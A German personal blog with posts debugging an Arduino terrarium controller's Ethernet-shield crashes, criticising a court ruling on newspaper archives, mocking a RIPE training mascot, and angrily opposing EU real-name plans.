Was das andere Problem betrifft, ist noch ein spannendes Detail zu Tage getreten: er resettet sich NUR, wenn ich die GUI über den Firmenproxy via Internet aufrufe (ich habe die IP des Terraduinos auf meinem Router reingenattet und verwende dort Dyndns, so dass ich den Controller auch von Aussen ansprechen kann). Wenn ich die GUI aber vom LAN aus anspreche, passiert gar nichts. Und die Abschaltung erfolgt unmittelbar. In einem Test habe ich alles abkühlen lassen, unmittelbar, nachdem er oben war, die GUI aufgerufen und Zack! war er weg. Mit einer Überhitzung durch zu viel Strom kann es also nicht zusammenhängen. Langer Rede, kurzer Sinn: ich denke inzwischen, dass es sich um einen Hardwarefehler im Ethernetshield oder einen Bug in der Ethernet-Library (der womöglich einen Hardwarefehler auslöst, sic) handeln muss. An meiner Platine habe ich keinen Fehler gefunden, alle Verbindungen sind sauber, keine Kurzschlüsse, keine Spannungsspitzen, keine sonstigen Dinge, die irgendwie "komisch" wären.

Also ich werd ihn jetzt ein paar Wochen laufen lassen. Womöglich hat sich durch das Umstecken des Speaker-PINs das Problem bereits erledigt, dass er sich nach ein paar Tagen oder Wochen selber abschaltet. Vom Speaker abgesehen habe ich auch die PINs 15, 16, 18 und 19 umgezogen auf 29-33. Diese PINs sind auf dem Arduino mit TX1 oder RX2 beschriftet. Ob man die so einfach benutzen kann oder Kollisionen auslöst, wenn man es tut, habe ich zwar nicht herausfinden können. Ich hab sie aber trotzdem umgesteckt. Am Mega ist ja genug Platz.

Und falls das Problem doch noch auftaucht, werde ich mir überlegen, ob ich den Ethernetshield nicht durch einen WiFi-Shield|https://www.sparkfun.com/products/11287> ersetze.


Update 04.10.2012 06:58:

Tja, es ist aufgetaucht, das Problem. Er ist heute nacht wieder ausgegangen, zweimal sogar. Langsam hab ich ja schon die Nase voll. Um wirklich sicher zu sein, hab ich jetzt das Ethernetkabel gezogen (und resettet) und fahre den Controller jetzt ohne GUI und MRTG. Mal sehen wie lang er da hält. Denn so wie es aussieht, verursacht der Ethernet-Shield den Shutdown und die Frage, die mich noch interessiert, ist ob er das auch tut, wenn er gar nichts zu tun hat.


Update 10.10.2012 22:20:

Allerdings habe ich mittlerweile beschlossen, das alles umzubauen. Ich kriege das Crashproblem nicht gefixed. Daher werd ich zukünftig alles intern über den Trafo versorgen. Zusätzlich werd ich aber eine Failsafe-Platine einbauen, die unabhängig versorgt ist. Die wird dann den Arduino überwachen und wenn der weg ist, ihn resetten (d.h. Spannung weg, Spannung an). Und damit während des Resets die Lampen weiter leuchten, wird er als Proxy für die Relaisteuerung fungieren. Ich werd das mit einem Attiny85 machen, den hab ich noch da, und einem Schieberegister. Der Arduino wird mit einer Output-Pin am Attiny angeschlossen und einer Steuerpin. Solang der läuft, reicht der Attiny die Steuersignale nur durch (mit I2C, dafür schreibe ich den Arduino-Code also auch um, so dass der nicht mehr pro Kanal eine Pin ansteuert, sondern I2C Bits setzt und die zum Attiny schickt). Und wenn am Kontrolpin kein Signal mehr reinkommt, bleiben die Relay-Pins weiter gesetzt, weil die ja am Schieberegister und nicht am Arduino hängen. Somit wird er sich dann selber booten, wenn er crasht und sonst wird nix passieren.


Update 21.10.2012 15:24:

Es scheint, als ob ich dem Fehler auf die Schliche gekommen bin. Und zwar habe ich ja den Code so umgeschrieben, dass er die Daten zu meinem Server postet bzw sich von dort die geänderte Config abholt. Inzwischen habe ich sogar die Ethernet Library umgeschrieben, so dass sie feste globale Variablen verwendet, weil ich vermutete, dass beim dynamischen Allozieren Probleme auftreten. Manchmal lief das so ein paar Stunden durch, manchmal nur ein paar Minuten.

Eben bin ich beim Debuggen mal auf die Idee gekommen, den Post-Intervall auf 3 Sekunden zu senken, damit der Fehler häufiger auftritt und ich nicht jedesmal so lange warten muss. Und tatsächlich ist er auf diese Weise immer recht schnell abgeraucht. Irgendwann hab ich mal in der seriellen Console den "m" Befehl eingegeben (dabei wird der gerade freie RAM ausgegeben). Prompt ist er gestorben. Das liess sich auch mehrmals reproduzieren. Das liess mich stutzig werden. Zwecks der Gaudi habe ich mal in der Funktion check_report(), die die URL zum Posten der Statusdaten erzeugt, den Aufruf zu freeMemory() auskommentiert. Und siehe da, er lief durch!

Und solang ich das nicht auch manuell in der Console aufgerufen habe, blieb es dabei. Ich hab mich also auf die Suche nach einer anderen Funktion gemacht, um den freien RAM herauszufinden. Bisher verwende ich ja freeMemory(). Jetzt habe ich die mal ersetzt durch freeRam(), die eigentlich ziemlich ähnlich aber doch subtil anders funktioniert. Sie verwendet nur die avr-libc internen Variablen __brkval und __heap_start. Und was soll ich sagen - damit läuft er durch. Kein Crash mehr (jedenfalls bis jetzt, aber er läuft auch die ganze Zeit immer noch mit dem übertrieben hektischen 3s Intervall).

Wenn er damit durchhält, fress ich echt einen Besen.

Ach ja, inzwischen verwende ich nicht mehr die Arduino IDE. Das Teil hat mich vielleicht genervt. Allein der Editor in dem Teil, was für ein Mist. Ich verwende jetzt ein Makefile. Dadurch kann ich im Emacs arbeiten und DAS ist herrlich. Welche Erleichterung :) Ausserdem habe ich nun einen besseren Überblick bei Compilerfehlern. Und auf die serielle Console komme ich mit:
screen /dev/cu.usbmodem411 9600
(und mit CTRL-k wieder raus).

Die Django-App habe ich inzwischen auch soweit fertig, kann man sich hier anschauen. Programme ändert man einfach im Django Adminbackend. Die Graphen erzeugt wie gewohnt MRTG. Die Django-App habe ich jetzt auch im Repository.


Update 23.10.2012 08:51:

Hm, es wird immer spannender. Gestern abend hatte ich beschlossen, das RAM Reporting zu entfernen, weil der Speicherverbrauch sowieso immer konstant ist. Zwar habe ich eine stabile Funktion gefunden, siehe vorheriges Update, aber wirklich brauchen tue ich es nicht. Allerdings hatte ich dann das Problem, dass sich meine modifizierte Ethernetlibrary nicht mehr compilieren liess. Ich hatte keine Zeit, der Sache auf den Grund zu gehen und bin daher wieder auf die originale Lib zurück gegangen. Und you know what? Um 22:23 ist es wieder abgestürzt. Obwohl der freie Speicher gar nicht mehr abgefragt wird. Anscheinend ist die Ethernetlibrary doch beteiligt. Ausserdem faszinierend ist, dass er auch - manchmal - abstürzt, wenn Django gerade "kaputt" ist. Konkret hatte ich im Reporting die Zeiten für Sonnenauf- und Untergang mit eingebaut und diverse Fehler im Pythoncode eingebaut. Zugriffe aufs Django gingen in der Zeit nicht (man bekam 503 Errors mit Stacktrace usw). Das scheint der Controller nicht zu vertragen. Wobei er das mit meiner modifizierten Ethernetlibrary vertragen hatte.


Update 18.11.2012 10:26:

Inzwischen habe ich herausgefunden, dass das Problem zu sein scheint, dass die Ethernetlibrary, bzw der 5100 Chip mit Retries nicht klarkommt. Per Default macht er 3 Retries mit einem recht langen Timeoutwert. Wenn sich mein Internet verabschiedet, ist er eine geraume Zeit in diesem Loop gefangen. Und irgendwo dort scheint es einen Bug zu geben. Ich habe jetzt den Retry auf 1 gesetzt (also nur 1 Versuch, dann Ende) und den Timeout auf 500 ms. Dazu habe ich in EthernetClass::begin() das folgende hinzugefügt:

W5100.setRetransmissionCount(1);
W5100.setRetransmissionTime(500);

Ich hatte vorher den Timeout auf 50 gehabt, das war aber zu kurz und er ist gar nicht erst rausgekommen. Immerhin hat das aber gezeigt, dass er anscheinend klaglos weiterläuft, sobald der Timeout zuschlägt. Auf 500 hab ich erst seit jetzt. Mal sehen, wie er sich damit macht...


25.09.2012 20:14 CC0 technik terrarium Terrarium






OLG Brandenburg: Archiv != Artikel

Das OLG Brandenburg meint:

Die Einstellung von für die tagesaktuelle Berichterstattung verfassten Artikeln in ein Online-Archiv stellt eine gesonderte Nutzungsart [dar]
[..]
Ein Archiv hat dagegen eine andere Funktion. Dabei handelt es sich um eine Datenbank, die, wenn sie mit einer Suchfunktion ausgestattet ist, als Nachschlagewerk dienen kann.

Schlimm, oder?

Eine "Online-Zeitung", was ist das denn? Ein Webserver, dahinter ein Applicationserver, dahinter eine Datenbank. Auf dem Applicationserver läuft ein CMS, mit dem Redakteure Artikel einstellen, taggen, kategorisieren usw. Alle Artikel landen in der Datenbank. Also wirklich ALLE. Die Aktuellen landen da und die Alten bleiben da.

Und irgendwo auf der Webseite gibts einen Link "Archiv 1995 - 2010" oder so. Und wenn man da drauf klickt, wird im CMS eine Funktion aufgerufen, die dann Artikel raussucht, die aus dem Zeitraum sind, z.b.:

def archive(request, maxyear):
   articles = Article.objects.filter(pubdate__lt=maxyear)
   return render_to_response("archiv/index.html", dict(articles=articles)

So in der Art. Und auf der Archivseite erscheinen dann Links zu den alten Artikeln. Es handelt sich hierbei natürlich immer noch um die gleichen Artikel wie zu dem Zeitpunkt als sie ein Redakteur ins CMS eingestellt hatte. Das Publizierungsdatum matcht jetzt nur auf den Archivzeitraum. Das ist alles.

Einen Prozess "Artikel ins Archiv Einstellen" gibt es in einem CMS nicht. Und wenn es ihn gibt, ist es ein scheiss CMS - sowas soll's wohl geben. Und daher frage ich mich, was dieses o.g. Urteil eigentlich soll. Eine Zeitung darf einen Artikel in ihr CMS einstellen, aber nicht in der Liste der älteren Artikel erscheinen lassen?

So wie bei den ÖR wo Artikel nur 7 Tage sichtbar sind, weil unsere Nachfahren auf gar keinen Fall erfahren dürfen, was wir heute so getrieben haben? Diese verfluchte Ignoranz und Ahnungslosigkeit solcher Leute geht mir vielleicht auf den Ranz.

(via)


25.09.2012 12:13 CC0 idioten urheberrecht Unfassbar






Debbie Huh?!

Kam eben per Mail rein:


> Von: ncc-announce-bounces AT ripe.net
> Gesendet: Montag, 24. September 2012 16:54
> An: db-wg AT ripe.net; ncc-services-wg AT ripe.net; ncc-announce AT ripe.net
> Betreff: [ncc-announce] Meet Debbie, the RIPE Database Robot!
>
> [Apologies for duplicates]
>
>
> Dear colleagues,
>
> RIPE NCC E-Learning is pleased to introduce you to Debbie,
> the RIPE Database Robot. Debbie is your guide through a new
> series of e-learning videos designed to help you get the most
> out of the RIPE Database:
> http://www.ripe.net/lir-services/training/e-learning/ripe-database
>
> The RIPE Database e-learning collection has also expanded
> with the addition of three new videos:
>
>  - Create More Specifics (Hierarchical Authorisation)
>  - Create IPv4 Assignments
>  - Create IPv6 Assignments
>
> There are now eight brief video tutorials (most around three
> minutes duration) giving step-by-step instructions for users
> to perform a range of different operations in the RIPE Database.
>
> If you have any comments or questions, please send an email
> to <e-learning AT ripe.net>.
>
> Happy learning!
>
> Sandra Bras
> Trainer / E-Learning Project Manager, RIPE NCC

Hab mir das mal angeguckt. Nicht, dass ich jetzt nicht wüsste, wie man die RIPE-DB benutzt, aber interessieren tut es einen ja doch. Und siehe da, in dem Video haben sie so ein Trickfilm-Avatar-Dingens, dass die Sachen erklärt. Also die Thematik ist ja ohnehin relativ langweilig. Aber eine lahme Trickfilmfigur, die durch die Schulungsvideos führt? Nee, RIPE, das geht besser.

Wo ist das Problem, da einen echten Mensch hinzustellen, der das erklärt? Vielleicht in einem lockereren Ton? Paar Späßchen hier und da? Das geht doch so nicht!

Bild: Debbie, RIPE's stupid  E-Learning Robot
Debbie, RIPE's stupid E-Learning Robot (Sept. 24, 2012, 8:36 p.m.)
[Tags: kritik ] [Album: Screencaps ]

24.09.2012 20:29 CC0 kritik Networking






Klarnamenpflicht

Udo Vetter berichtet über die neuesten Pläne in der EU zum Thema Unterdrückung der Gesamtbevölkerung, (von denen) bezeichnet als "Clean IT". Die einzelnen Maßnahmen sind eine haarsträubender als die andere. Provider sollen für praktisch alles haftbar gemacht werden, was User tun. Behörden sollen Auskünfte bekommen, ohne dass noch Gerichte involviert werden. Und:

Außerdem in der Planung sind Meldebuttons für “terroristische Inhalte” und eine strikte Klarnamenpflicht in Foren und sozialen Netzwerken. Anbieter aus dem Bereich Web 2.0 sollen nicht nur verpflichtet werden, ihre Nutzer rechtssicher zu identifizieren. Soziale Netzwerke sollen sogar dafür Verantwortung tragen, dass Nutzer nur echte Profilfotos von sich hochladen.

Mit den Klarnamen haben sie es ja. Ist ja auch eine echte Belastung, herauszufinden wer da im Forum XYZ als User "Zenzi83" gepostet hat. Und leider funktioniert es im echten Leben ja nicht so wie bei Navi CIS, wo einer ein wenig herumklickt und in Nullkommanichts die Adresse des dahinterstehenden Menschen heraus hat. Da gilt es den ISP herauszufinden, bei dem das Forum läuft. Und den zu kontakten, wer den denn der Kunde ist, der das Forum XYZ betreibt. Und den muss man dann - sofern man die Auskunft überhaupt erhalten hat, ohne Gerichtsbeschluss eher nicht - kontaktieren, damit er mitteilt, wer der Mensch hinter dem User "Zenzi83" ist. Wenn er es weiss - meistens aber eher nicht.

Das Konzept der anonymen Kommunikation kotzt die EU-Faschisten schon lange an. Dass die Bürger einfach so ungestraft ihre Meinung äussern können. Das geht natürlich gar nicht. Unfassbar. Also ich betreibe ja auch ein kleines Forum. Gut, viel los ist da nicht mehr, sind alle bei Facebook. Aber nur mal so jetzt. Bei mir braucht es nicht mal eine Emailadresse für einen Account. IPs logge ich nicht. Anonymer geht nicht. Wie stellen die sich das vor? Soll ich mit der Deutschen Post einen Post-Ident-Vertrag abschliessen? Für die drei User, die ich hab? Ganz sicher werde ich das nicht tun. Facebook aber schon, ist doch klaaaaar! Im nächsten Schritt wird es dann Pflicht, bei Facebook einen Account zu haben, mit Klarname und Impressum. Und Behördenpost kriegt man dann als Facebook-PN. Was für Schwachmaten!

Wenn man sich diese ganzen Ideen, die diese Faschos da verbreiten, so anschaut, wünscht man sich den Schäuble als Innenminister zurück. Was für ein lupenreiner Demokrat der im Vergleich dazu war. Und er war sogar demokratisch legitimiert, zu sagen und zu tun, was er gesagt und getan hat. Im Gegensatz zu diesen EU-Faschisten. Denn das sind sie: Faschisten. Wie sonst soll man Leute bezeichnen, die ALLE BÜRGER pauschal als Terroristen verdächtigen UND so behandeln wollen, unter vollständiger Missachtung jeglicher Bürgerrechte oder Justiz? Genau.

Die Frage ist, was wird passieren, wenn die das durchkriegen?

Ich schätze, die Damen und Herren Möchtegerndiktatoren werden überrascht sein. Denn sie haben immer noch nicht verstanden, womit sie es beim "Internet" zu tun haben: mit einer Schwarmintelligenz. Und zwar einer stetig expotentiell wachsenden, intelligenter werdenden und immer komplexeren Schwarmintelligenz. Das Internet als solches hat sich längst deren Kontrolle entzogen. Das Netz wird immer Wege finden, die Faschisten, Diktatoren und Korrupten zu umgehen und auszutricksen.

Insofern behaupte ich mal, dass nicht viel passieren wird, ausser viel Geschrei. Davon ab, dass sie es sowieso nicht durchkriegen werden. Pack.